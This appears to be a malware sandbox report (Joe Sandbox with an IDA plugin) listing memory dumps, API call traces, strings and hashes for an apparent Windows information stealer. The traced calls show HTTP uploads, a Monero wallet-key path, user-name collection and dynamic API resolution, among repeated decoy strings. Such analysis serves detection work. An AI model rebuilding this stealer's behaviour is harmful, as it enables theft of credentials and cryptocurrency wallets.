The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001B477B

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 7b773f08b32c9c5cf2b71ac69d1d61b9f1da9439b9e2a2657423348496288b62
Instruction ID: ff456fa3e60f370ab66cd3e2063389409af889ced2bb1754997da20f4d9c034a
Opcode Fuzzy Hash: 7b773f08b32c9c5cf2b71ac69d1d61b9f1da9439b9e2a2657423348496288b62
Instruction Fuzzy Hash: E641D060AC3E88EBE778F7A5CC42E9D77575F46F0DB505046EA0052382DFB8B50CA526

Function 001B4880 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001CA7E6

Part of subcall function 001B47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 001B4839
Part of subcall function 001B47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 001B4849

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 001B4915
StrCmpCA.SHLWAPI(?,00EEE498), ref: 001B493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 001B4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,001D0DDB,00000000,?,?,00000000,?,",00000000,?,00EEE588), ref: 001B4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 001B4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 001B4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 001B4E49
InternetCloseHandle.WININET(00000000), ref: 001B4EAD
InternetCloseHandle.WININET(00000000), ref: 001B4EC5
HttpOpenRequestA.WININET(00000000,00EEE448,?,00EED8E8,00000000,00000000,00400100,00000000), ref: 001B4B15

Part of subcall function 001CA9B0: lstrlen.KERNEL32(?,00EE87F8,?,\Monero\wallet.keys,001D0E17), ref: 001CA9C5
Part of subcall function 001CA9B0: lstrcpy.KERNEL32(00000000), ref: 001CAA04
Part of subcall function 001CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001CAA12

Part of subcall function 001CA8A0: lstrcpy.KERNEL32(?,001D0E17), ref: 001CA905

Part of subcall function 001CA920: lstrcpy.KERNEL32(00000000,?), ref: 001CA972
Part of subcall function 001CA920: lstrcat.KERNEL32(00000000), ref: 001CA982

InternetCloseHandle.WININET(00000000), ref: 001B4ECF

Strings

", xrefs: 001B4D33
H, xrefs: 001B4B07
", xrefs: 001B4BF2
------, xrefs: 001B49BD
------, xrefs: 001B4B28
------, xrefs: 001B4C69

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------$H
API String ID: 460715078-2516411888
Opcode ID: ba3ae2243a7f4cbd03262e288e2251aefc7903cb668f1f5afaac6f2b6bc9fd16
Instruction ID: 8eb41e15c530ec52691979b57a2b8f6c4a3661eace7ba3ef059bbe2f4f5a2591
Opcode Fuzzy Hash: ba3ae2243a7f4cbd03262e288e2251aefc7903cb668f1f5afaac6f2b6bc9fd16
Instruction Fuzzy Hash: D612BB7195011CABDB16EB90DCA2FEEB378AF34309F90419DB10662491DF70AF49CB66

Function 001C7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001B11B7), ref: 001C7880
RtlAllocateHeap.NTDLL(00000000), ref: 001C7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 001C789F

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: a8d2672b6ee952090b378eddfc23385597fc422925f970d0a57ec7db8dd69320
Instruction ID: 50b132af8b991cc9d69bd1296d43cff30cf87bab2c2f1bd037245994d78e0edf
Opcode Fuzzy Hash: a8d2672b6ee952090b378eddfc23385597fc422925f970d0a57ec7db8dd69320
Instruction Fuzzy Hash: E0F04FF1944608AFC714DF99DD49FAEBBBCFB05761F10025AFA05A3680C7B45904CBA1

Function 001B1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 001B116A
ExitProcess.KERNEL32 ref: 001B117E

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: bd0f306014f19f692f5b2720d3862b2e56082c8372daccf47cbfaaaf6b12cbf2
Instruction ID: 739e82c11327d3eb4911d54c1b86a285e15f263e82d6ef7ac20ba8a0ea0c6d4d
Opcode Fuzzy Hash: bd0f306014f19f692f5b2720d3862b2e56082c8372daccf47cbfaaaf6b12cbf2
Instruction Fuzzy Hash: AED05EB490030CDBCB00EFE0D849AEDBB7CFB08312F000554DD0972340EB306485CAA6

Function 001C9C10 Relevance: 238.7, APIs: 112, Strings: 24, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,00ED5528), ref: 001C9C2D
GetProcAddress.KERNEL32(75900000,00ED52A8), ref: 001C9C45
GetProcAddress.KERNEL32(75900000,00EE8BA0), ref: 001C9C5E
GetProcAddress.KERNEL32(75900000,00EE8BD0), ref: 001C9C76
GetProcAddress.KERNEL32(75900000,00EEC9B0), ref: 001C9C8E
GetProcAddress.KERNEL32(75900000,00EEC950), ref: 001C9CA7
GetProcAddress.KERNEL32(75900000,00EDB030), ref: 001C9CBF
GetProcAddress.KERNEL32(75900000,00EEC800), ref: 001C9CD7
GetProcAddress.KERNEL32(75900000,00EECA70), ref: 001C9CF0
GetProcAddress.KERNEL32(75900000,00EEC8F0), ref: 001C9D08
GetProcAddress.KERNEL32(75900000,00EEC7E8), ref: 001C9D20
GetProcAddress.KERNEL32(75900000,00ED5468), ref: 001C9D39
GetProcAddress.KERNEL32(75900000,00ED5268), ref: 001C9D51
GetProcAddress.KERNEL32(75900000,00ED5488), ref: 001C9D69
GetProcAddress.KERNEL32(75900000,00ED5328), ref: 001C9D82
GetProcAddress.KERNEL32(75900000,00EECA40), ref: 001C9D9A
GetProcAddress.KERNEL32(75900000,00EEC818), ref: 001C9DB2
GetProcAddress.KERNEL32(75900000,00EDAF90), ref: 001C9DCB
GetProcAddress.KERNEL32(75900000,00ED5548), ref: 001C9DE3
GetProcAddress.KERNEL32(75900000,00EEC848), ref: 001C9DFB
GetProcAddress.KERNEL32(75900000,00EEC968), ref: 001C9E14
GetProcAddress.KERNEL32(75900000,00EEC998), ref: 001C9E2C
GetProcAddress.KERNEL32(75900000,00EEC8C0), ref: 001C9E44
GetProcAddress.KERNEL32(75900000,00ED5568), ref: 001C9E5D
GetProcAddress.KERNEL32(75900000,00EEC9C8), ref: 001C9E75
GetProcAddress.KERNEL32(75900000,00EEC980), ref: 001C9E8D
GetProcAddress.KERNEL32(75900000,00EEC860), ref: 001C9EA6
GetProcAddress.KERNEL32(75900000,00EEC9E0), ref: 001C9EBE
GetProcAddress.KERNEL32(75900000,00EEC878), ref: 001C9ED6
GetProcAddress.KERNEL32(75900000,00EEC830), ref: 001C9EEF
GetProcAddress.KERNEL32(75900000,00EECA28), ref: 001C9F07
GetProcAddress.KERNEL32(75900000,00EEC890), ref: 001C9F1F
GetProcAddress.KERNEL32(75900000,00EEC9F8), ref: 001C9F38
GetProcAddress.KERNEL32(75900000,00EE9DC0), ref: 001C9F50
GetProcAddress.KERNEL32(75900000,00EEC8A8), ref: 001C9F68
GetProcAddress.KERNEL32(75900000,00EEC8D8), ref: 001C9F81
GetProcAddress.KERNEL32(75900000,00ED5588), ref: 001C9F99
GetProcAddress.KERNEL32(75900000,00EEC908), ref: 001C9FB1
GetProcAddress.KERNEL32(75900000,00ED55A8), ref: 001C9FCA
GetProcAddress.KERNEL32(75900000,00EECA88), ref: 001C9FE2
GetProcAddress.KERNEL32(75900000,00EECA10), ref: 001C9FFA
GetProcAddress.KERNEL32(75900000,00ED51C8), ref: 001CA013
GetProcAddress.KERNEL32(75900000,00ED51E8), ref: 001CA02B
LoadLibraryA.KERNEL32(00EECA58,?,001C5CA3,001D0AEB,?,?,?,?,?,?,?,?,?,?,001D0AEA,001D0AE3), ref: 001CA03D
LoadLibraryA.KERNEL32(00EECAA0,?,001C5CA3,001D0AEB,?,?,?,?,?,?,?,?,?,?,001D0AEA,001D0AE3), ref: 001CA04E
LoadLibraryA.KERNEL32(00EEC920,?,001C5CA3,001D0AEB,?,?,?,?,?,?,?,?,?,?,001D0AEA,001D0AE3), ref: 001CA060
LoadLibraryA.KERNEL32(00EEC7B8,?,001C5CA3,001D0AEB,?,?,?,?,?,?,?,?,?,?,001D0AEA,001D0AE3), ref: 001CA072
LoadLibraryA.KERNEL32(00EEC7D0,?,001C5CA3,001D0AEB,?,?,?,?,?,?,?,?,?,?,001D0AEA,001D0AE3), ref: 001CA083
LoadLibraryA.KERNEL32(00EEC938,?,001C5CA3,001D0AEB,?,?,?,?,?,?,?,?,?,?,001D0AEA,001D0AE3), ref: 001CA095
LoadLibraryA.KERNEL32(00EECB00,?,001C5CA3,001D0AEB,?,?,?,?,?,?,?,?,?,?,001D0AEA,001D0AE3), ref: 001CA0A7
LoadLibraryA.KERNEL32(00EECC38,?,001C5CA3,001D0AEB,?,?,?,?,?,?,?,?,?,?,001D0AEA,001D0AE3), ref: 001CA0B8
GetProcAddress.KERNEL32(75FD0000,00ED5868), ref: 001CA0DA
GetProcAddress.KERNEL32(75FD0000,00EECBF0), ref: 001CA0F2
GetProcAddress.KERNEL32(75FD0000,00EE8A68), ref: 001CA10A
GetProcAddress.KERNEL32(75FD0000,00EECC80), ref: 001CA123
GetProcAddress.KERNEL32(75FD0000,00ED5908), ref: 001CA13B
GetProcAddress.KERNEL32(734B0000,00EDB120), ref: 001CA160
GetProcAddress.KERNEL32(734B0000,00ED5768), ref: 001CA179
GetProcAddress.KERNEL32(734B0000,00EDB260), ref: 001CA191
GetProcAddress.KERNEL32(734B0000,00EECC98), ref: 001CA1A9
GetProcAddress.KERNEL32(734B0000,00EECD58), ref: 001CA1C2
GetProcAddress.KERNEL32(734B0000,00ED5808), ref: 001CA1DA
GetProcAddress.KERNEL32(734B0000,00ED5968), ref: 001CA1F2
GetProcAddress.KERNEL32(734B0000,00EECB18), ref: 001CA20B
GetProcAddress.KERNEL32(763B0000,00ED5628), ref: 001CA22C
GetProcAddress.KERNEL32(763B0000,00ED56C8), ref: 001CA244
GetProcAddress.KERNEL32(763B0000,00EECB48), ref: 001CA25D
GetProcAddress.KERNEL32(763B0000,00EECCF8), ref: 001CA275
GetProcAddress.KERNEL32(763B0000,00ED5828), ref: 001CA28D
GetProcAddress.KERNEL32(750F0000,00EDB080), ref: 001CA2B3
GetProcAddress.KERNEL32(750F0000,00EDADB0), ref: 001CA2CB
GetProcAddress.KERNEL32(750F0000,00EECCE0), ref: 001CA2E3
GetProcAddress.KERNEL32(750F0000,00ED5648), ref: 001CA2FC
GetProcAddress.KERNEL32(750F0000,00ED5668), ref: 001CA314
GetProcAddress.KERNEL32(750F0000,00EDADD8), ref: 001CA32C
GetProcAddress.KERNEL32(75A50000,00EECC50), ref: 001CA352
GetProcAddress.KERNEL32(75A50000,00ED56E8), ref: 001CA36A
GetProcAddress.KERNEL32(75A50000,00EE8A88), ref: 001CA382
GetProcAddress.KERNEL32(75A50000,00EECB30), ref: 001CA39B
GetProcAddress.KERNEL32(75A50000,00EECD10), ref: 001CA3B3
GetProcAddress.KERNEL32(75A50000,00ED5688), ref: 001CA3CB
GetProcAddress.KERNEL32(75A50000,00ED5608), ref: 001CA3E4
GetProcAddress.KERNEL32(75A50000,00EECAE8), ref: 001CA3FC
GetProcAddress.KERNEL32(75A50000,00EECC20), ref: 001CA414
GetProcAddress.KERNEL32(75070000,00ED5888), ref: 001CA436
GetProcAddress.KERNEL32(75070000,00EECCC8), ref: 001CA44E
GetProcAddress.KERNEL32(75070000,00EECD28), ref: 001CA466
GetProcAddress.KERNEL32(75070000,00EECB60), ref: 001CA47F
GetProcAddress.KERNEL32(75070000,00EECC68), ref: 001CA497
GetProcAddress.KERNEL32(74E50000,00ED58E8), ref: 001CA4B8
GetProcAddress.KERNEL32(74E50000,00ED57E8), ref: 001CA4D1
GetProcAddress.KERNEL32(75320000,00ED5708), ref: 001CA4F2
GetProcAddress.KERNEL32(75320000,00EECB78), ref: 001CA50A
GetProcAddress.KERNEL32(6F060000,00ED5848), ref: 001CA530
GetProcAddress.KERNEL32(6F060000,00ED58A8), ref: 001CA548
GetProcAddress.KERNEL32(6F060000,00ED58C8), ref: 001CA560
GetProcAddress.KERNEL32(6F060000,00EECD70), ref: 001CA579
GetProcAddress.KERNEL32(6F060000,00ED5728), ref: 001CA591
GetProcAddress.KERNEL32(6F060000,00ED55C8), ref: 001CA5A9
GetProcAddress.KERNEL32(6F060000,00ED55E8), ref: 001CA5C2
GetProcAddress.KERNEL32(6F060000,00ED5928), ref: 001CA5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 001CA5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 001CA607
GetProcAddress.KERNEL32(74E00000,00EECCB0), ref: 001CA629
GetProcAddress.KERNEL32(74E00000,00EE89D8), ref: 001CA641
GetProcAddress.KERNEL32(74E00000,00EECD40), ref: 001CA659
GetProcAddress.KERNEL32(74E00000,00EECB90), ref: 001CA672
GetProcAddress.KERNEL32(74DF0000,00ED5748), ref: 001CA693
GetProcAddress.KERNEL32(6F9C0000,00EECD88), ref: 001CA6B4
GetProcAddress.KERNEL32(6F9C0000,00ED5788), ref: 001CA6CD
GetProcAddress.KERNEL32(6F9C0000,00EECBA8), ref: 001CA6E5
GetProcAddress.KERNEL32(6F9C0000,00EECBC0), ref: 001CA6FD

Strings

(U, xrefs: 001C9C20
hR, xrefs: 001C9D44
HX, xrefs: 001CA522
U, xrefs: 001CA5B4
(S, xrefs: 001C9D74
(V, xrefs: 001CA21F
W, xrefs: 001CA4C3
HttpQueryInfoA, xrefs: 001CA5FC
HV, xrefs: 001CA2EE
hX, xrefs: 001CA0CC
Q, xrefs: 001CA01E
hV, xrefs: 001CA307
hW, xrefs: 001CA16B
(W, xrefs: 001CA584
X, xrefs: 001CA4AB
hY, xrefs: 001CA1E5
V, xrefs: 001CA35D
(X, xrefs: 001CA280
hU, xrefs: 001C9E4F
HW, xrefs: 001CA686
hT, xrefs: 001C9D2B
(Y, xrefs: 001CA5CD
HU, xrefs: 001C9DD6
InternetSetOptionA, xrefs: 001CA5E5

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
